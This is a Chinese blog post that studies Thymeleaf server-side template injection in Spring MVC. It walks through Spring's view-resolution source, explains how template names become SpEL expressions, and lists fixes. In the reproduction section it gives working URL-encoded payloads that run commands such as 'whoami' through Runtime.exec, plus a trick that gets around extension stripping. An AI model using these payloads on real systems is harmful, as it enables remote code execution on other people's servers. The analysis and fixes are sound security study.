前言
最近看到某平台上有一篇关于SSTI的文章,之前也没了解过SSTI的漏洞,因此决定写篇文章记录学习过程。
模板引擎
要了解SSTI漏洞,首先要对模板引擎有所了解。下面是模板引擎的几个相关概念。
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档。
模板引擎的本质是将模板文件和数据通过模板引擎生成最终的HTML代码。
模板引擎不属于特定技术领域,它是跨领域跨平台的概念。
模板引擎的出现是为了解决前后端分离的问题,拿JSP的举个栗子,JSP
本身也算是一种模板引擎,在JSP
访问的过程中编译器会识别JSP的标签,如果是JSP
的内容则动态的提取并将执行结果替换,如果是HTML
的内容则原样输出。
xxx.jsp
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
<%=111*111%>
</body>
</html>
上面的代码经过JSP
引擎编译后,HTML
部分直接输出,而使用JSP
标签部分则是经过了解析后的结果。
out.write("<!DOCTYPE html>\r\n");
out.write("<html>\r\n");
out.write("<head>\r\n");
out.write("<meta charset=\"UTF-8\">\r\n");
out.write("<title>Insert title here</title>\r\n");
out.write("</head>\r\n");
out.write("<body>\r\n");
//解析后的结果
out.print(111*111);
out.write("\r\n");
out.write("</body>\r\n");
out.write("</html>");
既然JSP已经是一个模板引擎了为什么后面还要推出其他的模板引擎?
- 动态资源和静态资源全部耦合在一起,还是需要在
JSP
文件中写一些后端代码,这其实比较尴尬,所以导致很多JAVA开发不能专注于JAVA开发还需要写一些前端代码。 第一次请求jsp,必须要在web服务器中编译成servlet,第一次运行会较慢。
每次请求jsp都是访问servlet再用输出流输出的html页面,效率没有直接使用html高。
如果jsp中的内容很多,页面响应会很慢,因为是同步加载。
jsp只能运行在web容器中,无法运行在nginx这样的高效的http服务上。
使用模板引擎的好处是什么?
模板设计好后可以直接填充数据使用,不需要重新设计页面,增强了代码的复用性
Thymeleaf
Thymeleaf
是众多模板引擎的一种和其他的模板引擎相比,它有如下优势:
- Thymeleaf使用html通过一些特定标签语法代表其含义,但并未破坏html结构,即使无网络、不通过后端渲染也能在浏览器成功打开,大大方便界面的测试和修改。
Thymeleaf提供标准和Spring标准两种方言,可以直接套用模板实现JSTL、 OGNL表达式效果,避免每天套模板、改JSTL、改标签的困扰。同时开发人员也可以扩展和创建自定义的方言。
Springboot官方大力推荐和支持,Springboot官方做了很多默认配置,开发者只需编写对应html即可,大大减轻了上手难度和配置复杂度。
语法
既然Thymeleaf
也使用的html
,那么如何区分哪些是Thymeleaf
的html
?
在Thymeleaf
的html
中首先要加上下面的标识。
<html xmlns:th="http://www.thymeleaf.org">
标签
Thymeleaf
提供了一些内置标签,通过标签来实现特定的功能。
标签 | 作用 | 示例 |
---|---|---|
th:id | 替换id | <input th:id="${user.id}"/> |
th:text | 文本替换 | <p text:="${user.name}">bigsai</p> |
th:utext | 支持html的文本替换 | <p utext:="${htmlcontent}">content</p> |
th:object | 替换对象 | <div th:object="${user}"></div> |
th:value | 替换值 | <input th:value="${user.name}" > |
th:each | 迭代 | <tr th:each="student:${user}" > |
th:href | 替换超链接 | <a th:href="@{index.html}">超链接</a> |
th:src | 替换资源 | <script type="text/javascript" th:src="@{index.js}"></script> |
链接表达式
在Thymeleaf
中,如果想引入链接比如link,href,src,需要使用@{资源地址}
引入资源。引入的地址可以在static
目录下,也可以司互联网中的资源。
<link rel="stylesheet" th:href="@{index.css}">
<script type="text/javascript" th:src="@{index.js}"></script>
<a th:href="@{index.html}">超链接</a>
变量表达式
可以通过${…}
在model中取值,如果在Model
中存储字符串,则可以通过${对象名}
直接取值。
public String getindex(Model model)//对应函数
{
//数据添加到model中
model.addAttribute("name","bigsai");//普通字符串
return "index";//与templates中index.html对应
}
<td th:text="'我的名字是:'+${name}"></td>
取JavaBean对象使用${对象名.对象属性}
或者${对象名['对象属性']}
来取值。如果JavaBean写了get方法也可以通过${对象.get方法名}
取值。
public String getindex(Model model)//对应函数
{
user user1=new user("bigsai",22,"一个幽默且热爱java的社会青年");
model.addAttribute("user",user1);//储存javabean
return "index";//与templates中index.html对应
}
<td th:text="${user.name}"></td>
<td th:text="${user['age']}"></td>
<td th:text="${user.getDetail()}"></td>
取Map对象使用${Map名['key']}
或${Map名.key}
。
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
Map<String ,String>map=new HashMap<>();
map.put("place","博学谷");
map.put("feeling","very well");
//数据添加到model中
model.addAttribute("map",map);//储存Map
return "index";//与templates中index.html对应
}
<td th:text="${map.get('place')}"></td>
<td th:text="${map['feeling']}"></td>
取List集合:List集合是一个有序列表,需要使用each遍历赋值,<tr th:each="item:${userlist}">
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
List<String>userList=new ArrayList<>();
userList.add("zhang san 66");
userList.add("li si 66");
userList.add("wang wu 66");
//数据添加到model中
model.addAttribute("userlist",userList);//储存List
return "index";//与templates中index.html对应
}
<tr th:each="item:${userlist}">
<td th:text="${item}"></td>
</tr>
选择变量表达式
变量表达式也可以写为*{...}
。星号语法对选定对象而不是整个上下文评估表达式。也就是说,只要没有选定的对象,美元(${…}
)和星号(*{...}
)的语法就完全一样。
<div th:object="${user}">
<p>Name: <span th:text="*{name}">赛</span>.</p>
<p>Age: <span th:text="*{age}">18</span>.</p>
<p>Detail: <span th:text="*{detail}">好好学习</span>.</p>
</div>
消息表达式
文本外部化是从模板文件中提取模板代码的片段,以便可以将它们保存在单独的文件(通常是.properties文件)中,文本的外部化片段通常称为“消息”。通俗易懂的来说#{…}
语法就是用来
读取配置文件中数据 的。
片段表达式
片段表达式~{...}
可以用于引用公共的目标片段,比如可以在一个template/footer.html
中定义下面的片段,并在另一个template中引用。
<div th:fragment="copy">
© 2011 The Good Thymes Virtual Grocery
</div>
<div th:insert="~{footer :: copy}"></div>
Demo
为了能快速对Thymeleaf
上手,我们可以先写一个Demo直观的看到Thymeleaf
的使用效果。
首先创建一个SpringBoot
项目,在模板处选择Thymeleaf
。
创建好的目录结构如下,可以在templates
中创建html
模板文件。
编写Controller
@Controller
public class urlController {
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
model.addAttribute("name","bigsai");
return "index";//与templates中index.html对应
}
}
在templates
下创建模板文件index.html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>title</title>
</head>
<body>
hello 第一个Thymeleaf程序
<div th:text="${name}"></div>
</body>
</html>
启动程序访问/index
SpringMVC 视图解析过程分析
视图解析的过程是发生在Controller处理后,Controller处理结束后会将返回的结果封装为ModelAndView
对象,再通过视图解析器ViewResovler
得到对应的视图并返回。分析的栗子使用上面的Demo。
封装ModelAndView对象
在ServletInvocableHandlerMethod#invokeAndHandle
中,做了如下操作:
invokeForRequest
调用Controller后获取返回值到returnValue
中判断
returnValue
是否为空,如果是则继续判断0RequestHandled
是否为True
,都满足的话设置requestHandled
为true
通过
handleReturnValue
根据返回值的类型和返回值将不同的属性设置到ModelAndViewContainer
中。
public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
//调用Controller后获取返回值到returnValue中
Object returnValue = this.invokeForRequest(webRequest, mavContainer, providedArgs);
this.setResponseStatus(webRequest);
//判断returnValue是否为空
if (returnValue == null) {
//判断RequestHandled是否为True
if (this.isRequestNotModified(webRequest) || this.getResponseStatus() != null || mavContainer.isRequestHandled()) {
this.disableContentCachingIfNecessary(webRequest);
//设置RequestHandled属性
mavContainer.setRequestHandled(true);
return;
}
} else if (StringUtils.hasText(this.getResponseStatusReason())) {
mavContainer.setRequestHandled(true);
return;
}
mavContainer.setRequestHandled(false);
Assert.state(this.returnValueHandlers != null, "No return value handlers");
try {
//通过handleReturnValue根据返回值的类型和返回值将不同的属性设置到ModelAndViewContainer中。
this.returnValueHandlers.handleReturnValue(returnValue, this.getReturnValueType(returnValue), mavContainer, webRequest);
} catch (Exception var6) {
if (logger.isTraceEnabled()) {
logger.trace(this.formatErrorForReturnValue(returnValue), var6);
}
throw var6;
}
下面分析handleReturnValue
方法。
selectHandler
根据返回值和类型找到不同的HandlerMethodReturnValueHandler
,这里得到了ViewNameMethodReturnValueHandler
,具体怎么得到的就不分析了。- 调用
handler.handleReturnValue
,这里得到不同的HandlerMethodReturnValueHandler
处理的方式也不相同。
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
//获取handler
HandlerMethodReturnValueHandler handler = this.selectHandler(returnValue, returnType);
if (handler == null) {
throw new IllegalArgumentException("Unknown return value type: " + returnType.getParameterType().getName());
} else {
//执行handleReturnValue操作
handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);
}
}
ViewNameMethodReturnValueHandler#handleReturnValue
- 判断返回值类型是否为字符型,设置
mavContainer.viewName
- 判断返回值是否以
redirect:
开头,如果是的话则设置重定向的属性
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
if (returnValue instanceof CharSequence) {
String viewName = returnValue.toString();
//设置返回值为viewName
mavContainer.setViewName(viewName);
//判断是否需要重定向
if (this.isRedirectViewName(viewName)) {
mavContainer.setRedirectModelScenario(true);
}
} else if (returnValue != null) {
throw new UnsupportedOperationException("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod());
}
}
通过上面的操作,将返回值设置为mavContainer.viewName
,执行上述操作后返回到RequestMappingHandlerAdapter#invokeHandlerMethod
中。通过getModelAndView
获取ModelAndView
对象。
protected ModelAndView invokeHandlerMethod(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
...
ModelAndView var15;
invocableMethod.invokeAndHandle(webRequest, mavContainer, new Object[0]);
if (asyncManager.isConcurrentHandlingStarted()) {
result = null;
return (ModelAndView)result;
}
//获取ModelAndView对象
var15 = this.getModelAndView(mavContainer, modelFactory, webRequest);
} finally {
webRequest.requestCompleted();
}
return var15;
}
getModelAndView
根据viewName
和model
创建ModelAndView
对象并返回。
private ModelAndView getModelAndView(ModelAndViewContainer mavContainer, ModelFactory modelFactory, NativeWebRequest webRequest) throws Exception {
modelFactory.updateModel(webRequest, mavContainer);
//判断RequestHandled是否为True,如果是则不会创建ModelAndView对象
if (mavContainer.isRequestHandled()) {
return null;
} else {
ModelMap model = mavContainer.getModel();
//创建ModelAndView对象
ModelAndView mav = new ModelAndView(mavContainer.getViewName(), model, mavContainer.getStatus());
if (!mavContainer.isViewReference()) {
mav.setView((View)mavContainer.getView());
}
if (model instanceof RedirectAttributes) {
Map<String, ?> flashAttributes = ((RedirectAttributes)model).getFlashAttributes();
HttpServletRequest request = (HttpServletRequest)webRequest.getNativeRequest(HttpServletRequest.class);
if (request != null) {
RequestContextUtils.getOutputFlashMap(request).putAll(flashAttributes);
}
}
return mav;
}
}
获取视图
获取ModelAndView
后,通过DispatcherServlet#render
获取视图解析器并渲染。
protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {
Locale locale = this.localeResolver != null ? this.localeResolver.resolveLocale(request) : request.getLocale();
response.setLocale(locale);
String viewName = mv.getViewName();
View view;
if (viewName != null) {
//获取视图解析器
view = this.resolveViewName(viewName, mv.getModelInternal(), locale, request);
if (view == null) {
throw new ServletException("Could not resolve view with name '" + mv.getViewName() + "' in servlet with name '" + this.getServletName() + "'");
}
} else {
view = mv.getView();
if (view == null) {
throw new ServletException("ModelAndView [" + mv + "] neither contains a view name nor a View object in servlet with name '" + this.getServletName() + "'");
}
}
if (this.logger.isTraceEnabled()) {
this.logger.trace("Rendering view [" + view + "] ");
}
try {
if (mv.getStatus() != null) {
response.setStatus(mv.getStatus().value());
}
//渲染
view.render(mv.getModelInternal(), request, response);
} catch (Exception var8) {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Error rendering view [" + view + "]", var8);
}
throw var8;
}
}
获取视图解析器在DispatcherServlet#resolveViewName
中完成,循环遍历所有视图解析器解析视图,解析成功则返回。
protected View resolveViewName(String viewName, @Nullable Map<String, Object> model, Locale locale, HttpServletRequest request) throws Exception {
if (this.viewResolvers != null) {
Iterator var5 = this.viewResolvers.iterator();
//循环遍历所有的视图解析器获取视图
while(var5.hasNext()) {
ViewResolver viewResolver = (ViewResolver)var5.next();
View view = viewResolver.resolveViewName(viewName, locale);
if (view != null) {
return view;
}
}
}
return null;
}
在Demo
中有5个视图解析器。
本以为会在ThymeleafViewResolver
中获取视图,实际调试发现ContentNegotiatingViewResolver
中已经获取到了视图。
ContentNegotiatingViewResolver
视图解析器允许使用同样的数据获取不同的View。支持下面三种方式。
使用扩展名
http://localhost:8080/employees/nego/Jack.xml
返回结果为XML
http://localhost:8080/employees/nego/Jack.json
返回结果为JSON
http://localhost:8080/employees/nego/Jack
使用默认view呈现,比如JSPHTTP Request Header中的Accept,Accept 分别是 text/jsp, text/pdf, text/xml, text/json, 无Accept 请求头
使用参数
http://localhost:8080/employees/nego/Jack?format=xml
返回结果为XML
http://localhost:8080/employees/nego/Jack?format=json
返回结果为JSON
ContentNegotiatingViewResolver#resolveViewName
getCandidateViews
循环调用所有的ViewResolver解析视图,解析成功放到视图列表中返回。同样也会根据Accept头得到后缀并通过ViewResolver解析视图。getBestView
根据Accept头获取最优的视图返回。
public View resolveViewName(String viewName, Locale locale) throws Exception {
RequestAttributes attrs = RequestContextHolder.getRequestAttributes();
Assert.state(attrs instanceof ServletRequestAttributes, "No current ServletRequestAttributes");
List<MediaType> requestedMediaTypes = this.getMediaTypes(((ServletRequestAttributes)attrs).getRequest());
if (requestedMediaTypes != null) {
//获取可以解析当前视图的列表。
List<View> candidateViews = this.getCandidateViews(viewName, locale, requestedMediaTypes);
//根据Accept头获取一个最优的视图返回
View bestView = this.getBestView(candidateViews, requestedMediaTypes, attrs);
if (bestView != null) {
return bestView;
}
}
...
}
视图渲染
得到View后,调用render方法渲染,也就是ThymleafView#render
渲染。render
方法中又通过调用renderFragment
完成实际的渲染工作。
漏洞复现
我这里使用 spring-view-manipulation 项目来做漏洞复现。
templatename
漏洞代码
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
POC
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
漏洞原理
在renderFragment
渲染的过程中,存在如下代码。
- 当TemplateName中不包含
::
则将viewTemplateName
赋值给templateName
。 - 如果包含
::
则代表是一个片段表达式,则需要解析templateName
和markupSelectors
。
protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
...
//viewTemplateName中包含::则当作片段表达式执行
if (!viewTemplateName.contains("::")) {
templateName = viewTemplateName;
markupSelectors = null;
} else {
IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
FragmentExpression fragmentExpression;
try {
// 根据viewTemplateName得到FragmentExpression
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (TemplateProcessingException var25) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}
//创建ExecutedFragmentExpression
ExecutedFragmentExpression fragment = FragmentExpression.createExecutedFragmentExpression(context, fragmentExpression);
//获取templateName和markupSelectors
templateName = FragmentExpression.resolveTemplateName(fragment);
markupSelectors = FragmentExpression.resolveFragments(fragment);
Map<String, Object> nameFragmentParameters = fragment.getFragmentParameters();
if (nameFragmentParameters != null) {
if (fragment.hasSyntheticParameters()) {
throw new IllegalArgumentException("Parameters in a view specification must be named (non-synthetic): '" + viewTemplateName + "'");
}
context.setVariables(nameFragmentParameters);
}
}
...
viewTemplateEngine.process(templateName, processMarkupSelectors, context, (Writer)templateWriter);
}
比如当viewTemplateName为welcome ::
header
则会将welcome解析为templateName,将header解析为markupSelectors。
上面只是分析了为什么要根据::
做不同的处理,并不涉及到漏洞,但是当视图名中包含::
会执行下面的代码。
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
在StandardExpressionParser#parseExpression
中会通过preprocess
进行预处理,预处理根据该正则\\_\\_(.*?)\\_\\_
提取__xx__
间的内容,获取expression
并执行execute
方法。
private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\\_\\_(.*?)\\_\\_", 32);
static String preprocess(IExpressionContext context, String input) {
if (input.indexOf(95) == -1) {
return input;
} else {
IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration());
if (!(expressionParser instanceof StandardExpressionParser)) {
return input;
} else {
Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input);
if (!matcher.find()) {
return checkPreprocessingMarkUnescaping(input);
} else {
StringBuilder strBuilder = new StringBuilder(input.length() + 24);
int curr = 0;
String remaining;
do {
remaining = checkPreprocessingMarkUnescaping(input.substring(curr, matcher.start(0)));
//提取__之间的内容
String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1));
strBuilder.append(remaining);
//获取expression
IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false);
if (expression == null) {
return null;
}
//执行execute方法
Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);
strBuilder.append(result);
curr = matcher.end(0);
} while(matcher.find());
remaining = checkPreprocessingMarkUnescaping(input.substring(curr));
strBuilder.append(remaining);
return strBuilder.toString().trim();
}
execute
经过层层调用最终通过SPEL执行表达式的内容。
也就是说这个漏洞本质上是SPEL
表达式执行。
URI PATH
下面的情况也可以触发漏洞,这个可能很多师傅和我一样都觉得很奇怪,这个并没有返回值,理论上是不会执行的。
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
前面我们分析了SpingMVC
视图解析的过程,在解析视图首先获取返回值并封装为ModleAndView
,而在当前当前环境中并没有返回值,按理说ModelAndView
应该为空,为什么还能正常得到ModleAndView
呢?
原因主要在DispatcherServlet#doDispatch
中,获取ModleAndView
后还会执行applyDefaultViewName
方法。
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
...
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
if (asyncManager.isConcurrentHandlingStarted()) {
return;
}
this.applyDefaultViewName(processedRequest, mv);
}
applyDefaultViewName
中判断当ModelAndView
为空,则通过getDefaultViewName
获取请求路径作为ViewName
。这也是在urlPath
中传入Payload可以执行的原因。
private void applyDefaultViewName(HttpServletRequest request, @Nullable ModelAndView mv) throws Exception {
if (mv != null && !mv.hasView()) {
String defaultViewName = this.getDefaultViewName(request);
if (defaultViewName != null) {
mv.setViewName(defaultViewName);
}
}
}
但是需要注意的是如果要在urlPath
中传入payload,则不能有返回值,否则就不会调用applyDefaultViewName
设置了。下面的方式将不会导致代码执行。
@GetMapping("/doc/{document}")
public String getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
return "welcome";
}
回显失败问题分析
当在URL PATH中使用下面的POC会拿不到结果。
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x
经过分析问题主要是在StandardExpressionParser#parseExpression
,在preprocess
预处理结束后还会通过Expression.parse
进行一次解析,这里如果解析失败则不会回显。
static IStandardExpression parseExpression(IExpressionContext context, String input, boolean preprocess) {
IEngineConfiguration configuration = context.getConfiguration();
String preprocessedInput = preprocess ? StandardExpressionPreprocessor.preprocess(context, input) : input;
IStandardExpression cachedExpression = ExpressionCache.getExpressionFromCache(configuration, preprocessedInput);
if (cachedExpression != null) {
return cachedExpression;
} else {
Expression expression = Expression.parse(preprocessedInput.trim());
if (expression == null) {
throw new TemplateProcessingException("Could not parse as expression: \"" + input + "\"");
} else {
ExpressionCache.putExpressionIntoCache(configuration, preprocessedInput, expression);
return expression;
}
}
}
使用上面的POC
,parse
的内容如下,这里可以看到::
后没有内容,因此这里肯定是会失败的。
而在templatename
那个Demo中,parse
内容如下是::
后是有内容的。所以能否回显的关键就是Expression.parse
能否正常执行。
但是我们在URL PATH的POC中也设置了::.x为什么会被去掉呢?
在分析URL PATH
这种方式能获取ModelAndView
的原因时,我们分析过会在applyDefaultViewName
中获取URL
Path作为ModelAndView
的name,这个操作在getViewName
中完成,getLookupPathForRequest
仅仅获取了请求的地址并没有对后面的.x
做处理,处理主要是在transformPath
中完成的。
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return this.prefix + this.transformPath(lookupPath) + this.suffix;
}
transformPath
中通过stripFilenameExtension
去除后缀,是这部分导致了.x
后内容为空。
protected String transformPath(String lookupPath) {
String path = lookupPath;
if (this.stripLeadingSlash && lookupPath.startsWith("/")) {
path = lookupPath.substring(1);
}
if (this.stripTrailingSlash && path.endsWith("/")) {
path = path.substring(0, path.length() - 1);
}
//
if (this.stripExtension) {
path = StringUtils.stripFilenameExtension(path);
}
if (!"/".equals(this.separator)) {
path = StringUtils.replace(path, "/", this.separator);
}
return path;
}
stripFilenameExtension
去除最后一个.
后的内容,所以可以通过下面的方式绕过。
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::assadasd.asdas
漏洞修复
配置ResponseBody或RestController注解
@GetMapping("/doc/{document}")
@ResponseBody
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
配置了ResponseBody
注解确实无法触发,经过调试在applyDefaultViewName
中ModelAndView
是Null
而非ModelAndView
对象,所以hasView()
会导致异常,不会设置视图名。
所以我们要分析创建ModelAndView
对象的方法,也就是getModelAndView
,这里requestHandled
设置为True
时会返回Null,而不会创建视图。
当我们设置了ResponseBody
注解后,handler返回的是RequestResponseBodyMethodProcesser
,所以这里会调用它的handleReturnValue
,设置了RequestHandled
属性为True。
配置RestController
修复和这种方式类似,也是由于使用RequestResponseBodyMethodProcesser
设置了RequestHandled
属性导致不能得到ModelAndView
对象了。
有小伙伴可能要问,上面只是讲的URL
PATH
中的修复,templatename
中这种方式也能修复嘛?答案是肯定的,根本原因在设置了RequestHandled
属性后,ModelAndView
一定会返回Null。
通过redirect:
根据springboot定义,如果名称以
redirect:
开头,则不再调用ThymeleafView
解析,调用RedirectView
去解析controller
的返回值
所以配置redirect:
主要影响的是获取视图的部分。在ThymeleafViewResolver#createView
中,如果视图名以redirect:
开头,则会创建RedirectView
并返回。所以不会使用ThymeleafView
解析。
方法参数中设置HttpServletResponse 参数
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
}
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP
Response,因此不会发生视图名称解析。
首先声明下 这种方式只对返回值为空的情况下有效,也就是URL PATH
的方式 ,下面我会解释一下原因。
设置了HttpServletResponse
后也是设置requestHandled
设置为True导致在applyDefaultViewName
无法设置默认的ViewName。
但是它的设置是在ServletInvocableHandlerMethod#invokeAndHandle
中。由于mavContainer.isRequestHandled()
被设置为True,所以进入到IF语句中设置了requestHandled
属性,但是这里的前提条件是returnValue
为空,所以这种修复方法只有在返回值为空的情况下才有效。
requestHandled
的属性设置在HandlerMethodArgumentResolverComposite#resolveArgument
解析参数时,这里不同的传参方式获得的ArgumentResolver
是不同的,比如没加HttpServletResponse
时得到的是PathVariableMethodArgumentResolver
。
加上后会对HttpServletResponse
也进行参数解析,解析后的结果为ServletResponseMethodArgumentResolver
,在它的resolveArgument
方法中,会设置requestHandled
属性。
总结
Thymeleaf
模板注入和我理解的不太一样,之前以为这种模板注入应该是解析特定标签时候导致的问题。
从修复的角度来讲使用@ResponseBody
或者@RestController
更容易修复漏洞,而设置HttpServletResponse
有一定的局限性,对templatename
的方式无用。